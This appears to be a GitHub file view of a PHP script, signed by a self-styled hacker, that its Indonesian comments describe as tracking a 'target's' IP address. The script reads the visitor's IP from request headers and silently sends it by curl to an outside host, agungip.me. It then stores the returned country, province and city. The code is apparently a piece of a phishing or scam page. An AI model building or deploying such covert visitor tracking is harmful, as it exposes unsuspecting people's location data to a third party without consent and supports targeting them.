-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathcheifip.php
More file actions
46 lines (40 loc) · 1.18 KB
/
Copy pathcheifip.php
File metadata and controls
46 lines (40 loc) · 1.18 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
// CREATED BY EXP_VIP_H4CKER
// EXP_WEBS
// MENDAPATKAN ALAMAT IP PRIBADI SI TARGET
function getClientIP() {
$ipaddress = '';
if (getenv('HTTP_CLIENT_IP'))
$ipaddress = getenv('HTTP_CLIENT_IP');
else if(getenv('HTTP_X_FORWARDED_FOR'))
$ipaddress = getenv('HTTP_X_FORWARDED_FOR');
else if(getenv('HTTP_X_FORWARDED'))
$ipaddress = getenv('HTTP_X_FORWARDED');
else if(getenv('HTTP_FORWARDED_FOR'))
$ipaddress = getenv('HTTP_FORWARDED_FOR');
else if(getenv('HTTP_FORWARDED'))
$ipaddress = getenv('HTTP_FORWARDED');
else if(getenv('REMOTE_ADDR'))
$ipaddress = getenv('REMOTE_ADDR');
else
$ipaddress = 'UNKNOWN';
return $ipaddress;
}
$url = "https://agungip.me/pro/?ip=".getClientIP();
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($curl);
curl_close($curl);
$data = json_decode($resp,true);
// HASIL PELACAKAN ALAMAT IP PRIBADI SI TARGET
$cheif_ip_address = getClientIP();
$cheif_flag = $data['flag'];
$cheif_callcode = $data['callcode'];
$cheif_benua = $data['benua'];
$cheif_negara = $data['negara'];
$cheif_provinsi = $data['provinsi'];
$cheif_kota = $data['kota'];
// CREATED BY EXP_VIP_H4CKER
// EXP_WEBS
?>